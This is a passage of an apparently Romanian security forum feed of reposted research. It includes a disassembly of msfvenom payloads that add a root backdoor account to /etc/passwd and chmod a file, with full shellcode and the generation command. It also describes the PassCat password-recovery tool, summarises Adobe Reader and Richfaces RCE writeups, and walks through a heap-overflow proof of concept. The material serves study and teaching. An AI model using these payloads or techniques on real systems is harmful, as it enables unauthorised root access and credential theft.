E828000000 call 0x53 0000002B 6D insd 0000002C 657461 gs jz 0x90 0000002F 7370 jnc 0xa1 00000031 6C insb 00000032 6F outsd 00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a 0000003B 736A jnc 0xa7 0000003D 3470 xor al,0x70 0000003F 3449 xor al,0x49 00000041 52 push edx 00000042 633A arpl [edx],di 00000044 303A xor [edx],bh 00000046 303A xor [edx],bh 00000048 3A2F cmp ch,[edi] 0000004A 3A2F cmp ch,[edi] 0000004C 62696E bound ebp,[ecx+0x6e] 0000004F 2F das 00000050 7368 jnc 0xba 00000052 0A598B or bl,[ecx-0x75] 00000055 51 push ecx 00000056 FC cld 00000057 6A04 push byte +0x4 00000059 58 pop eax 0000005A CD80 int 0x80 0000005C 6A01 push byte +0x1 0000005E 58 pop eax 0000005F CD80 int 0x80 The first task the payload carries out is setting the real and effective user ID of the process to be the root user. The first instruction XORs $ecx with itself, resulting in 0 being stored in the register. It then moves $ecx into $ebx (i.e. setting the first and second parameters of the method to be called to 0). After setting up the parameters, 0x46 is then pushed on to the stack and popped into $eax. By converting the value to an integer and cross-referencing it with unistd_32.h, we can see that the call being made is setreuid: $ python -c "print int(0x46)" 70 $ grep " 70" /usr/include/x86_64-linux-gnu/asm/unistd_32.h #define __NR_setreuid 70 As a normal user does not have the permission to create new users on the system, the call to setreuid is most likely in place to accommodate for scenarios where a process is not running as root but is capable of doing so (for example when the suid bit is set on an executable). Once the EUID/UID has been set to 0, 0x5 is then pushed on to the stack and popped into $eax in preparation for another syscall. Again, cross referencing with unistd_32.h confirmed the call being made; this time it is to open. After setting up the syscall number, $ecx is cleared using the xor instruction and pushed on to the stack to act as the null terminator for the string that is being specified for the pathname parameter. The value that is pushed on to the stack consists of three dwords: 0x64777373 0x61702f2f 0x6374652f When converted to ASCII, these values equate to /etc//passwd: $ print -c "print '\x2F\x65\x74\x63\x2F\x2F\x70\x61\x73\x73\x77\x64'" print '/etc//passwd' The addition of an extra forward slash is a technique used frequently when shellcoding as to avoid null bytes being used when working with paths. By adding the extra slash, the full path can take up exactly 3 dwords, as opposed to 11 bytes for the path and one null byte to fill the remaining gap. As far as Linux is concerned, /etc/passwd is equal to /etc//passwd and it will be opened as if only one slash had been specified. Once these values are pushed on to the stack, $ebx is then set to point to the current stack pointer. Next, $ecx is incremented with the inc instruction - which brings its value up to 1. The higher byte of the lower 16 bits ($ch) is then set to 0x4, giving the $ecx register as a whole the value of 0x401 which in decimal is 1025. The flags argument can define multiple flags by using bitwise operations. One of the mandatory things that needs to be set in the flags argument is the access mode, as per the man page: The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read-only, write-only, or read/write, respectively. By grepping the /usr/include directory for one of the flags mentioned in the man page, the definitions for them can all be found within /usr/include/asm-generic/fcntl.h. The O_WRONLY access flag is defined as 00000001, which we know is set due to 1 being present in the lowest byte of $ecx - which makes logical sense, as the file will need to be opened for write access to modify it. As the decimal value of $ecx is 1025 and we know that the first bit is set, there can only be a single flag that is set, and it has the decimal value of 1024. Bitwise flags work by setting individual bits in a binary value. So, if we visualise how the value 1025 is constructed in binary, we can see that it consists of two 1s - one in the right most column, and one in the column that represents a unit of 1024 - there is no other combination of bits possible to reach the value of 1025: +------+-----+-----+-----+----+----+----+----+---+---+---+---+ | 1024 | 512 | 256 | 128 | 96 | 48 | 24 | 16 | 8 | 4 | 2 | 1 | +------+-----+-----+-----+----+----+----+----+---+---+---+---+ | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | +------+-----+-----+-----+----+----+----+----+---+---+---+---+ Continuing to analyse fcntl.h, we can see that O_APPEND is defined as 00002000 in octal. In decimal, this value is 1024: $ python -c "print int('2000', 8)" 1024 The man page explains that the O_APPEND has the following effect: The file is opened in append mode. Before each write(2), the file offset is positioned at the end of the file, as if with lseek(2). The modification of the file offset and the write operation are performed as a single atomic step. This makes sense in the context of what the payload needs to do. /etc/passwd contains one line per user, so the desired functionality would be to append a new line to the end of the file, rather than writing in the middle of it or overwriting it altogether. After invoking the call with int 0x80, the return value is stored in $eax, which is the file descriptor that can be used to access the file, which is then moved into $ebx. Now that the file is open for writing, the same CALL-POP method is used as was seen in the previous example to define string data and pop it into a register. The call instruction jumps to \x59\x8b\x51\xfc which pops into $ecx and moves the value at $ecx-4 into $edx: $ echo -ne "\x59\x8B\x51\xFC" | ndisasm -b 32 -p intel - 00000000 59 pop ecx 00000001 8B51FC mov edx,[ecx-0x4] The value pushed into $ecx can be revealed by echoing the bytes that are defined in place: $ echo -e "\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a" metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh As can be seen, this reflects the default options that were specified and is a valid entry for the passwd file. After this is popped into $ecx, as mentioned above, $ecx-4 is moved into $edx. After the call instruction, the value 0x28 is defined, which can be found 4 bytes before the address that was pushed on to the stack as the return address; which can be seen if inspecting in gdb during execution: gdb-peda$ x/4xw $ecx-4 0xbffff651: 0x00000028 0x6174656d 0x6f6c7073 0x413a7469 The value 0x28 is equal to 40 in decimal, which is the number of characters contained in the string that we wish to write to /etc/passwd. After the arguments are defined, 0x4 is pushed on to the stack and popped into $eax, which is the syscall for write and it is then invoked with int 0x80. The man page for write states: On success, the number of bytes written is returned (zero indicates nothing was written). And upon inspection of the $eax register after the syscall is invoked, we can see the return value is indeed 0x28, indicating a successful execution: [----------------------------------registers-----------------------------------] EAX: 0x28 ('(') EBX: 0x3 ECX: 0xbffff655 ("metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀") EDX: 0x28 ('(') ESI: 0x401fd4 --> 0x1edc EDI: 0xbffff68c --> 0xbffff62a --> 0xcb89c931 EBP: 0xbffff6a8 --> 0x0 ESP: 0xbffff5fc ("/etc//passwd") EIP: 0xbffff686 --> 0xcd58016a EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xbffff681: push 0x4 0xbffff683: pop eax 0xbffff684: int 0x80 => 0xbffff686: push 0x1 0xbffff688: pop eax 0xbffff689: int 0x80 0xbffff68b: add BYTE PTR [edx],ch 0xbffff68d: idiv bh [------------------------------------stack-------------------------------------] 0000| 0xbffff5fc ("/etc//passwd") 0004| 0xbffff600 ("//passwd") 0008| 0xbffff604 ("sswd") 0012| 0xbffff608 --> 0x0 0016| 0xbffff60c --> 0x4005ea (<main+157>: mov eax,0x0) 0020| 0xbffff610 --> 0x6f27a329 0024| 0xbffff614 --> 0xa1 0028| 0xbffff618 --> 0xb7ea8339 (<intel_check_word+9>: add esi,0x121cc7) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xbffff686 in ?? () gdb-peda$ Lastly, 0x1 is pushed and popped into $eax and called with int 0x80 to cleanly exit the process. Upon inspection of /etc/passwd after the shellcode exits, we can see the user account was created: # cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin *** excess content redacted *** sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh Switching to the metasploit user also works and provides a root shell: $ su metasploit Password: # whoami root # Analysis of linux/x86/chmod For the purpose of testing this payload, I set the FILE option to /tmp/slae and the mode to be applied as 0777: $ msfvenom -p linux/x86/chmod FILE=/tmp/slae MODE=0777 -f c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 34 bytes Final size of c file: 169 bytes unsigned char buf[] = "\x99\x6a\x0f\x58\x52\xe8\x0a\x00\x00\x00\x2f\x74\x6d\x70\x2f" "\x73\x6c\x61\x65\x00\x5b\x68\xff\x01\x00\x00\x59\xcd\x80\x6a" "\x01\x58\xcd\x80"; As the file needs to exist, I created it with a mode of 0644: $ touch /tmp/slae $ chmod /tmp/slae 0644 $ ls -l /tmp/slae -rw-r--r-- 1 rastating rastating 0 Sep 17 15:55 /tmp/slae Processing the shellcode with ndisasm shows that the payload does not contain a vast amount of instructions: $ echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0a\x00\x00\x00\x2f\x74\x6d\x70\x2f\x73\x6c\x61\x65\x00\x5b\x68\xff\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel - 00000000 99 cdq 00000001 6A0F push byte +0xf 00000003 58 pop eax 00000004 52 push edx 00000005 E80A000000 call 0x14 0000000A 2F das 0000000B 746D jz 0x7a 0000000D 702F jo 0x3e 0000000F 736C jnc 0x7d 00000011 61 popa 00000012 65005B68 add [gs:ebx+0x68],bl 00000016 FF01 inc dword [ecx] 00000018 0000 add [eax],al 0000001A 59 pop ecx 0000001B CD80 int 0x80 0000001D 6A01 push byte +0x1 0000001F 58 pop eax 00000020 CD80 int 0x80 The first instruction is cdq which will extend the sign bit of the $eax register into $edx - effectively setting $edx to 0. After clearing the $edx register, 0xf is pushed on to the stack and popped into $eax. Cross referencing this value with unistd_32.h shows that it is the syscall number for the chmod method: $ python -c "print int(0xf)" 15 $ grep " 15$" /usr/include/x86_64-linux-gnu/asm/unistd_32.h #define __NR_chmod 15 Next, $edx is pushed on to the stack to terminate the string that is subsequently pushed on to the stack using the CALL-POP method seen in the previous examples. Printing the byte sequence that appears between the call instruction and the location being jumped to, reveals that the bytes contain the path specified for the FILE option: $ python -c "print '\x2f\x74\x6d\x70\x2f\x73\x6c\x61\x65\x00'" /tmp/slae This can also be confirmed whilst stepping through the payload in gdb: [----------------------------------registers-----------------------------------] EAX: 0xf EBX: 0x56556fd4 --> 0x1edc ECX: 0x0 EDX: 0xffffffff ESI: 0xf7fa5000 --> 0x1d7d6c EDI: 0x0 EBP: 0xffffca28 --> 0x0 ESP: 0xffffc9a0 --> 0xffffca03 ("/tmp/slae") EIP: 0xffffca0d --> 0x1ff685b EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0xffffca0d: pop ebx 0xffffca0e: push 0x1ff 0xffffca13: pop ecx 0xffffca14: int 0x80 [------------------------------------stack-------------------------------------] 0000| 0xffffc9a0 --> 0xffffca03 ("/tmp/slae") 0004| 0xffffc9a4 --> 0xffffffff 0008| 0xffffc9a8 --> 0x565555f4 (<main+167>: mov eax,0x0) 0012| 0xffffc9ac --> 0x56556fd4 --> 0x1edc 0016| 0xffffc9b0 --> 0xf7fa5000 --> 0x1d7d6c 0020| 0xffffc9b4 --> 0x0 0024| 0xffffc9b8 --> 0xffffca28 --> 0x0 0028| 0xffffc9bc --> 0xf7e1e2f6 (<printf+38>: add esp,0x1c) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xffffca0d in ?? () gdb-peda$ After /tmp/slae is pushed on to the stack, it is then popped into the $ebx register for use as the path argument of the call to chmod. Lastly, the mode argument is configured by pushing the value 0x1ff on to the stack and popping it into $ecx. To verify this is correct, we can convert the hexadecimal value into octal, and see that it is indeed 0777 as was specified when creating the payload: $ python -c "print oct(int(0x1ff))" 0777 After calling chmod, 0x1 is then pushed on to the stack and popped into $eax in order to call the exit syscall, to exit the program cleanly. Running the compiled shellcode using strace confirms that the the syscall was invoked with the values interpretted from the shellcode and gdb output above: $ strace ./test *** excess output removed *** write(1, "Shellcode length: 7\n", 20Shellcode length: 7 ) = 20 chmod("/tmp/slae", 0777) = 0 exit(-2497565) = ? +++ exited with 227 +++ Lastly, checking the permissions of /tmp/slae show the operation was successful: $ stat /tmp/slae File: /tmp/slae Size: 0 Blocks: 0 IO Block: 4096 regular empty file Device: 10302h/66306d Inode: 7735027 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1000/rastating) Gid: ( 1000/rastating) Access: 2018-09-17 15:55:13.581844756 +0100 Modify: 2018-09-17 15:55:13.581844756 +0100 Change: 2018-09-17 16:21:26.173600289 +0100 Birth: - This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification. Student ID: SLAE-1340 All source files can be found on GitHub at https://github.com/rastating/slae Sursa: https://rastating.github.io/analysing-msfvenom-payloads/
  7. Nytro

    PassCat

    PassCat Passwords Recovery Tool PassCat is an open source Windows native C++ application capable of retrieving the passwords stored locally on a computer. For a full list of our tools, please visit our website https://www.twelvesec.com/ Written by: maldevel (twitter) Dependencies Windows 10 x64 Microsoft Visual C++ 2017 Redistributable (x64) Compilation Visual Studio 2017 (Choose Release Configuration and x64 Platform) Supported software FileZilla Windows Wireless Network WinSCP Pidgin Windows Credential Manager Vault Files Internet Explorer Browser Google Chrome Browser Opera Browser Firefox Browser Thunderbird Email Client (you have to build PassCat for Windows 10 x86. Keep in mind that using the x86 version you will not be able to retrieve Firefox passwords) Credits LaZagne Sursa: https://github.com/twelvesec/passcat
  8. CVE-2018-12794: Using Type Confusion to Get Code Execution in Adobe Reader September 18, 2018 | The ZDI Research Team One of the most common submissions to the ZDI program we see involves bugs impacting PDF documents, and most of these bug reports involve Adobe Reader. We see so many, it takes something special to really catch our attention. The July update for Reader included a patch for CVE-2018-12794/ZDI-18-682. Reported to the program by Sebastian Apelt, the quality of the write-up was too good for us not to share. The Setup The underlying cause of the vulnerability is a Type Confusion condition. By constructing an XML Data Package (XDP) template and performing certain JavaScript actions on XML Forms Architecture (XFA) objects, an attacker can force Reader to reference data out of the bounds of a Template object. When successful, code execution occurs within the sandboxed renderer process. Articol complet: https://www.zerodayinitiative.com/blog/2018/9/18/cve-2018-12794-using-type-confusion-to-get-code-execution-in-adobe-reader
  9. 0. The story A target during my pentest was using Java Server Faces (JSF) with an UI framework namely Jboss Richfaces. After exploiting the target using CVE-2013-2165 on Richfaces 4 (covered at my last post), I caught Codewhitesec’s blog post [1] about a new 0-day vulnerability in the Richfaces library. @mwulftange made a well-written research summary into his discovery with many of the details worth paying attention to, especially for a new learner in Java security like myself. Most parts sound ambiguous and unclear to me at the time, so I decided to give it a deeper look, reproduce the analysis and turn it into a working exploit. The vulnerability, which was assigned CVE-2018-12532, couples Expression Language (EL) Injection with Java deserialization in Richfaces 4.x. Unlike a common vulnerability that triggers after a couple of requests, this takes some more effort to get to the RCE. This blog post aims to help with the path to achieve a reliable RCE exploit, based on the experience of exploiting it in public applications. In short, I’m gonna talk about a technique to get around the main obstacle in exploiting the vulnerability – incompatible library restrictions in deserialization process. There will also be some insights on Java EL expression and its limitations, along with a payload to reliably get through them. 1. The treasure… I recommend reading through the the other blog first for an overview of the vulnerability. Briefing through it, the vulnerability lies in the arbitrary injection of EL expression into Java serialized object, which Richfaces fetches from user input without any proper protection. Richfaces’ security history (a.k.a. CVE history) all originate from the way a resource handler processes a request, which is as follows: -> Get processing class, say X from URI & get serialized state object for X from parameter do -(1)-> deserialize state object --(2)-> create an instance of X and restore its state ---(3)-> process X and produce corresponding response (images, videos, tables...) And the corresponding vulnerabilities. CVE-2013-2165 is an arbitrary deserialization issue, originating from phase (1) CVE-2015-0279 is the injection of EL into serialized object, originating from phase (3) The latest CVE-2018-12532 is simply a bypass of the previous CVE-2015-0279 The technique to be mentioned lies in phase (2) Since CVE-2018-12532 is a mitigation bypass, exploting it would mostly be just the same as exploiting CVE-2015-0279. For that, it’s necessary to credit Takeshi Terada on the discovery of CVE-2015-0279 since it is the base for the vulnerability. Unfortunately his report to the Jboss team (also the only resource about the vulnerability) has yet to produce a reliable exploit and enough vulnerability information. The EL injection vulnerability lies in a call to MethodExpression.invoke() in org.richfaces.resource.MediaOutputResource#encode. Matching to the above flow, X in this case is the class org.richfaces.resource.MediaOutputResource, and its state object is the EL expression itself. So in theory to exploit the vulnerability, we need to point the request’s endpoint to MediaOutputResource and construct a suitable serialized object to reach the vulnerable code line. 2. … in the middle of the sea The interesting thing is that Richfaces utilizes the deserialization process to produce the expression input, unlike the usual flow which is to take a string input and turn it into an expression afterwards. This process raised some concerns to exploit the vulnerability, as quoted from the original researcher. Exploitation of this vulnerability is not always that easy. Especially if there is no existing sample of a valid do state object that can be tampered with. Because if one would want to create the state object, it would require the use of compatible libraries, otherwise the deserialization may fail. The deserialization failure he’s referring to is caused by either Non existent classes in the target application’s classpath, meaning some classes exist in the local environment but are not present on the target’s application, or If the classes do exist, an additional problem is mismatching UIDs, coming from the idea of Stream Unique Identifier. Simply talking, to successfully deserialize, the class in the serialized stream and the class in the current classpath must have the same variable serialVersionUID specified explicitly in the code. Or if the developer doesn’t specify one, it must have identical class signature (method names, types, modifiers…) which the application would use to compute the UID. Check out the reference above for the exact calculation. This would mean a real pain in real-world exploits if the vulnerable application is using some unsual combination of libraries stack. If you have tried to exploit deserialization in JSF Myfaces before, these obstacles would look very much like trying to use the 2 gadgets Myfaces1 and Myfaces2 in ysoserial. The author of the gadgets did try to list some combinations of available EL implementations to overcome it there, but it won’t work reliably from the way I see. While doing code reviews during the analysis, I came up with a way to overcome this in Richfaces 4, which makes exploiting the vulnerability more practical. Articol complet: https://tint0.com/when-el-injection-meets-java-deserialization/
  10. Hunting mobile devices endpoints - the RF and the Hard way Written by Sébastien Dudek · 2018-09-13 · in Hardware When conducting intrusion tests, knowledge of endpoints and exchanged data is mandatory to test targeted applications, devices, and remote servers. If the target provides an Android, or iPhone application, it is possible to extract some URLs, and with any luck some secrets by disassembling the application or/and capturing the generated network traffic. But when no Android nor iPhone applications are available, attackers need to be more creative, and use other tricks to get any interesting inputs/content/behavior. Moreover, secrets exchanged between a targeted device and its servers could be totally different from those exchanged between an application and its servers, as well as contacted URLs. Indeed, pentesters are in certain cases confronted to devices with hardcoded credentials, certificates, or any other information giving further access to intrude the system. In addition, the level of trust could be overestimated by vendors/constructors, who give more privileges to devices compared to basic users. So breaking into the device or/and directly intercepting its communication could be a real change during intrusion tests. This article is about getting those information from IoT devices that use the mobile network to exchange data and commands. Different techniques will be introduced: RF way: use of mobile data interception techniques; Hard way: dump and analysis of a firmware. To illustrate these attacks, examples will be based on a 3G intercom well deployed in France, which is powered with a PIC24FJ micro-controller. Articol complet: https://www.synacktiv.com/posts/hardware/hunting-mobile-devices-endpoints-the-rf-and-the-hard-way.html
  11. Linux Heap Exploitation Intro Series: Set you free() – part 2 Reading time ~15 min Posted by javier on 06 September 2018 Categories: Heap, Heap linux, Heap overflow, Apngopt, Exploit, Exploitaion Intro Hello there! On this part we are focusing on abusing chunk creation and heap massaging in hope of overwriting the __malloc_hook weak pointer. Before getting into all the juicy stuff let’s remember some key things from last post. The value returned by png_get_uint_32 is of type unsigned integer For a 32 bit integer, the following happens: 0xffffffff + 1 = 0 fread will read values into the destination unless it can’t read from source memory (spoiler: it can) fread will return the number of elements read from the source Points 1 and 2 were made clear but 3 and 4 were left unanswered. The exploit (pt. 2) Let’s recap First of all, have a look at the following image and think that the PNG chunks in it, will get translated into heap chunks. Magic number into APNG file. Now, as analysed in the previous post, there are two vulnerabilities happening that lead to a buffer overflow. Said overflow happens in the following line: ... if (fread(pChunk->p + 4, pChunk->size - 4, 1, f) == 1) ... fread is a tricky function to use here as it will return the number of elements read even if it cannot read one element or errors out, it will copy the elements into the destination. The direct implication of this has been shown already: It will read as many bytes as there is in the file into the destination! Keep in mind that our goal still is to overwrite the __malloc_hook pointer in order to control the instruction pointer. Visualising the culprit It is highly recommended to do it all with gdb by inspecting the memory manually in order to feel comfortable within the debugger and with memory inspection. However, for the sake of this posts’ simplicity, let’s run our crash straight into villoc: LD_PRELOAD="$(locate libvilloc.so)" ./apngopt images/6frames-AnimatedPNG-blogpost.png |& $(locate villoc.py) - trace.html If we start inspecting the trace generated by villoc, we will notice that there has been an error at the very bottom of it. Error represented by villoc Check the memory-corruption-trace that was printed on the terminal. There, we should have an address that was corrupted on the line stating something like: *** Error in `./apngopt': malloc(): memory corruption: 0x1ffe4a0 *** If you ran the command, you should have a different address than 0x1ffe4a0 due to ASLR. Can you find it? As a hint, when searching for it, try to search just for the equivalent of the 1ffe4 part instead of the whole address. It’s left as an exercise for the reader to inspect why the addresses are shown differently on villoc vs. gdb. Searching for address on villoc trace With this, we can conclude that the culprit of causing memory corruptions has to be on the left side of 0x1ffe490, perhaps maybe, the fastchunk (purple) at 0x1ffe470 that was malloc‘d with a size of 0x1? Mr. (unsorted) Bin Let’s inspect some of the latter in gdb and see what’s happening with the corruption. Do add libc symbols via this link and remember to also enable debugging symbols for apngopt by making use of the CFLAGS variable and setting it to -ggdb. With this in mind we are ready to make it crash and inspect what is the state of memory as of the crash. Run: pwndbg> r images/6frames-AnimatedPNG-blogpost.png Inspecting the bins structure with pwndbg Nothing would stand out here until one realises how much of “ascii” the 0x826042ae444e address contains. Hex decoding address Look at that! Now, get your little-endian glasses and look at this! Little-endian representation of overflown values Let’s change those bytes into eight “A” characters and see what happens. Controlling address in unsorted bins Cool! We can control stuff but, why? On this specific case we are overflowing into a free chunk right from the chunk that’s behind 0x63b620 (flashbacks to villoc!). We are overwriting enough to get to the FD pointer of that chunk but, in the end, it will not be possible to “fool” the allocator because of the implemented checks in malloc.c. Controlling FD pointer (Green). Malloc size checks against size (Red). Without going into too much detail, the allocator first checks if the size of the free chunk is less than the maximum possible (highlighted in red) and, afterwards, checks the validity of the next free chunk (the fake one we would put instead of 0x4141414141414141). I have fallen into that rabbit hole long ago and didn’t find anything interesting – maybe you have better luck or know more heap exploitation techniques! If so, please share these! The Size Is Right Inspecting the heap on the previous state we can tell that it is not what we wanted since the chunks we control are stored in the unsortedbin list. This would be the first headache of them all since, something happened during the course of the application that coalesced chunks into a free space, which in turn, ended in the unsortedbin list. Lot’s of debugging (application and malloc.c) needed. This is not ideal for our exploitation since what we need is to control the FD pointer of a fastchunk of size 0x70. For this matter, we just need to remember where the vulnerability resides, which will help us crafting chunks of our wanted size. Again, have a look into the following lines inside apngopt.cpp: ... pChunk->size = png_get_uint_32(len) + 12; pChunk->p = new unsigned char[pChunk->size]; ... The new operator is allocating chunks of pChunk->size. Doing some maths, we need len to contain: (0x70-0x8) = len + 0xc len = 0x70-0x8-0xc len = 0x5c Being, 0x70 the allocation we want to trigger, 0x08 for the meta-data of the chunk and 0xc the value that gets subtracted in the code. This should generate a fastchunk of size 0x70. APNG Massage right in the heap To practice, let’s try to generate the aforementioned fastchunk of size 0x70 through an APNG chunk. As we know by know, the first four bytes of a PNG chunk describe the size of the data contained within. We are going to use this size to craft memory chunks of our desired size. In our specific case, the PNG chunk has to have a size of 0x5c as this will be the len variable which later, will allocate a fastchunk of 0x70. First thing to do is to cut the bytes we added previously in order to let the APNG Optimizer program to properly go through all the file without hitting a crash. Remove the last few bytes until the letter “w”. The file should be 490 bytes long now. Ascii contents of testcase Conforming to the PNG specification, IHDR is the first chunk to appear in a PNG right after the magic bytes header. We are not going to mess with this one as of yet – we are targeting the PLTE chunk as it’s an easy one to tamper with. This chunk is flagged as a critical chunk on a PNG file, meaning it is necessary for the fine display of the file. However, this PNG chunk is optional and it only has two constraints: to appear just before the first IDAT chunk (Image DATa chunk) and its length to be divisible by 3. Doing more maths, since 0x5c mod 0x3 != 0, the next value divisible by 3 that will still trigger a malloc of size 0x70 will be 0x5a (90). Remember that this value can be chosen because it’s going to be padded to the next 16 byte chunk size. The PLTE section should now look like this and the apngopt program should “optimize” it just fine: PLTE Section crafted for a 0x70 fastchunk See that the size change was done from 0x18 to 0x5a so we need to fill the PNG chunk’s data with further 0x5a - 0x18 bytes, hence AAAAA.... To check this new allocation you can either run villoc or inspect within gdb. Let’s show our created chunk of size 0x70 on gdb: The playground FD->FD->FD->FD->PoC Now that we know how the PNG chunks are formed, how these translate into the heap and know how to control these within the program itself it’s time to show some proof of concepts. Please note that this is the point I am stuck in for this exploit and haven’t got the time to advance any longer towards control of the instruction pointer. The PoC The following Proof of Concept effectively massages the heap to place a fastchunk of size 0x70 after a smallchunk. It does so by writing the same contents of the following chunk until it gets to the fastchunk of size 0x70 and overwrites its FD pointer. You can download the proof of concept file from here: fastchunk FD PoC file. In theory, apparently, etc. We could set the FD pointer to be near __malloc_hook having in mind that to where we point in memory it has to resemble a fake size of 0x70. This is “no problem” because near__malloc_hook we have: pwndbg> x/8gx &__malloc_hook - 6 0x7ffff70eaaf0 <_IO_wide_data_0+304>: 0x7ffff70e9260 0x00000000000 0x7ffff70eaaf0 <_IO_wide_data_0+304>: 0x7ffff70e9260 0x00000000000 0x7ffff70eab00 <__memalign_hook>: 0x7ffff6dabe20 0x7ffff6daba00 0x7ffff70eab10 <__malloc_hook>: 0x000000000000 0x000000000000 In theory, it can be possible to set the pointer to that address since 0x7f =~ 0x70 (both values are almost the same) to the eyes of the allocator. The deep details of why this tricks the allocator can be found inside malloc.c on the portion of code that does the look up for the index of the required fastbin list. Truth is, with ASLR enabled, that address is going to change and, without any memory leaks, it’s not going to be possible getting the right address. Also, if we choose a byte in memory that doesn’t have a null pointer afterwards, the allocator will think that there is another free fastchunk at that address. See: pwndbg> x/6gx 0x7ffff70eaaed 0x7ffff70eaaed: 0xfff70e9260000000 0x000000000000007f 0x7ffff70eaafd: 0xfff6dabe20000000 0xfff6daba0000007f 0x7ffff70eab0d: 0x000000000000007f 0x0000000000000000 Fastbins analysis after memory corruption TheFD pointer for 0x7ffff70eaaed is 0xfff6dabe20000000, which is an invalid memory address. Finally, another caveat that we need to think about when trying to exploit programs that take binary formats is that we don’t have a scripting environment. This is, we are constrained to tamper with bytes within a file and not writing some exploit in JavaScript against a browser where we can store leaked addresses into a variable and then use it. Further steps All is not lost and if we observe which part of the code is consuming these fastchunks something will catch our eye. Set a break point on apngopt.cpp:1181 and run the debugger with our PoC file: ... 1181 unsigned char * temp = new unsigned char[imagesize]; 1182 unsigned char * over1 = new unsigned char[imagesize]; 1183 unsigned char * over2 = new unsigned char[imagesize]; 1184 unsigned char * over3 = new unsigned char[imagesize]; 1185 unsigned char * rest = new unsigned char[imagesize]; ... Can’t see it yet? Hint, the imagesize variable is 0x66 bytes. This is set through the PNG chunk IHDR’s width and height. Variable over1 near __malloc_hook Now it’s clear that the variable over1 is not in the heap and it’s in the position we want. At this point when trying to allocate a fastchunk for the variable over2 it will crash on trying to allocate a fastchunk at 0xfff6dabe20000000. How can we prevent this crash? Apparently, easy. Since the variableover1 is our first fake chunk, we would need to create a fake heap of four consecutive fastchunks of size 0x70 so that, our controllable fastchunks lands on the variable rest. This does indeed work (without ASLR!) but, we will hit another condition I haven’t managed to overcome yet: The PNG file needs to have more than 4 frames after the optimisation has happened. This is why this post has started providing a template with 6 frames! Controlling the instruction pointer As a last short note it was mandatory to show that, theoretically it might be possible (with huge amounts of work) to control code execution. With the help of gdb this can be checked by manually filling the variable over1 with AAAA...: You can get all the files that I have used throughout this blog post here: apngopt1.4-exploit-dev.tar Villoc, setarch and ASLR If you want your villoc traces to be consistent with gdb addresses run the villoc command as follows: LD_PRELOAD="$(locate libvilloc.so)" setarch `uname -m` -R ./apngopt images/6frames-AnimatedPNG-blogpost.png |& $(locate villoc.py) - trace-setarch.html Bear in mind that, because of preloading the libvilloc.so library to setarch too, it will hook setarch malloc calls as well and give us more information than needed. Information that is actually not related to the apngopt program. Conclusion Trying to develop exploits for programs without a scripting environment is quite hard due to recent mitigations. Furthermore, it can even get trickier if we are working on an userland heap based exploit, at least that is what this experience has shown. If we look at heap exploitation from the perspective of ptmalloc2 by Wolfram Gloger (originally Doug Lea) we can see that, there is no formula to follow (maybe like we are used to see on stack based vulnerabilities) and development is heavily influenced by how the program uses the memory. Not only a deep understanding of how the allocator works is needed but a deep understanding of the program’s functionality itself. Should you have any further questions or anything do not hesitate on writing an email to me: javier at the domain name dot com. It is the way one treats his inferiors more than the way he treats his equals which reveals one’s real character. Sursa: https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-2/
  12. Nytro

    Modificari forum

    Fixed, au scos patch, doar am facut update.
  13. Nytro

    Modificari forum

    Da, e ciudat. Dupa refresh insa pare ok. @Gecko ?
  14. Nytro

    Modificari forum

    Update IPBoard, sa imi spuneti daca e ceva in neregula.
  15. Hacking, the art of exploitation Dar gasesti multe tutoriale pe Google.
×